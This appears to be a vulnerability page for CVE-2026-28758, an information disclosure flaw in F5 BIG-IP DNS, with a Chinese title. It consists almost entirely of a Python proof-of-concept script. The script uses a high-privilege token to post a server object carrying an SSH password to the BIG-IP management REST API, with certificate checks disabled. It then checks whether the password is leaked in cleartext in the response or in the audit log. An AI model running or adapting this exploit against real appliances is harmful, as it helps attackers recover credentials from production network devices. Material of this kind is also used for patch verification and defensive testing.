CVE-2026-28758 F5 BIG-IP DNS信息泄露漏洞

# PoC for CVE-2026-28758 # This script demonstrates the information disclosure vulnerability. # Attacker needs High Privilege Auth Token. import requests import json # Configuration target_host = "https://<BIG-IP-IP>/mgmt/tm/gtm/server/" # or bigip_add endpoint auth_token = "<HIGH_PRIVILEGE_TOKEN>" headers = { "Content-Type": "application/json", "X-F5-Auth-Token": auth_token } # Payload containing the sensitive password payload = { "name": "vulnerable_server", "address": "192.168.1.100", "ssh-password": "CleartextSecretPassword123" } try: # Send request to trigger the vulnerability response = requests.post(target_host, headers=headers, data=json.dumps(payload), verify=False) if response.status_code == 200: response_data = response.json() print("Vulnerability Triggered. Response Data:") print(json.dumps(response_data, indent=2)) # Check if ssh-password is leaked in response if "ssh-password" in response_data: print("\n[!] Password leaked in REST response:", response_data["ssh-password"]) else: print("\n[-] Password not in response, check audit log (/var/log/audit)") else: print("Request failed with status code:", response.status_code) except Exception as e: print(f"An error occurred: {e}")